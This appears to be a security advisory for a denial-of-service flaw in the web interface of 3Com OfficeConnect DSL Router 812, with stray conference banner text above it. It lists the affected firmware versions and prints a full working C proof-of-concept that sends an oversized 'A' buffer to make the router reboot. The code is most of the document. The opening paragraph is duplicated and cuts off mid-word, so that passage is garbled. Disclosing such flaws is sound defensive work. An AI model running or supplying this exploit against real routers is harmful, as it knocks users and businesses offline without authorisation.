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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

OfficeConnect is a router widely used in the world. The router can be rebooted due to a flaw in its web administration interface. As no authentication is needed, every LAN user can cause a crash and reboot of the router, stopping internet connection for one or two minutes. A remote user can exploit it if the web interface is available in the WAN interface of the router or if he can persuade a user to click on a link in a forum or to visit a webpage (as you can always access the web interface if the connection is local initiated, as is from the web browser).OfficeConnect is a router widely used in the world. The router can be rebooted due to a flaw in its web administration interface. As no authentication is needed, every LAN user can cause a crash and reboot of the router, stopping internet connection for one or two minutes. A remote user can exploit it if the web interface is available in the WAN interface of the router or if he can persuade a user to click on a li!

Credit:
The information has been provided by Shaun Colley.

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Vulnerable Systems:
* 3Com OfficeConnect DSL Router 812 1.1.7
* 3Com OfficeConnect DSL Router 812 1.1.9
* 3Com OfficeConnect DSL Router 812 2.0

Exploit:
/* 3com-DoS.c
*
* PoC DoS exploit for 3Com OfficeConnect DSL Routers.
* discovered by David F. Madrid.
*
* Successful exploitation of the vulnerability should cause the router to
* reboot. It is not believed that arbitrary code execution is possible -
* check advisory for more information.
*
* -shaun2k2
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>

int main(int argc, char *argv[]) {
if(argc < 3) {
  printf("3Com OfficeConnect DSL Router DoS exploit by shaun2k2 - < shaunige@yahoo.co.uk>\n\n");
  printf("Usage: 3comDoS < 3com_router> < port>\n");
  exit(-1);
}

int sock;
char explbuf[521];
struct sockaddr_in dest;
struct hostent *he;

if((he = gethostbyname(argv[1])) == NULL) {
  printf("Couldn't resolve %s!\n", argv[1]);
  exit(-1);
}

if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  perror("socket()");
  exit(-1);
}

printf("3Com OfficeConnect DSL Router DoS exploit by shaun2k2 - < shaunige@yahoo.co.uk>\n\n");

dest.sin_addr = *((struct in_addr *)he->h_addr);
dest.sin_port = htons(atoi(argv[2]));
dest.sin_family = AF_INET;

printf("[+] Crafting exploit buffer.\n");
memset(explbuf, 'A', 512);
memcpy(explbuf+512, "\n\n\n\n\n\n\n\n", 8);

if(connect(sock, (struct sockaddr *)&dest, sizeof(struct sockaddr)) == -1) {
  perror("connect()");
  exit(-1);
}

printf("[+] Connected...Sending exploit buffer!\n");
send(sock, explbuf, strlen(explbuf), 0);
sleep(2);
close(sock);
printf("\n[+] Exploit buffer sent!\n");
return(0);
}

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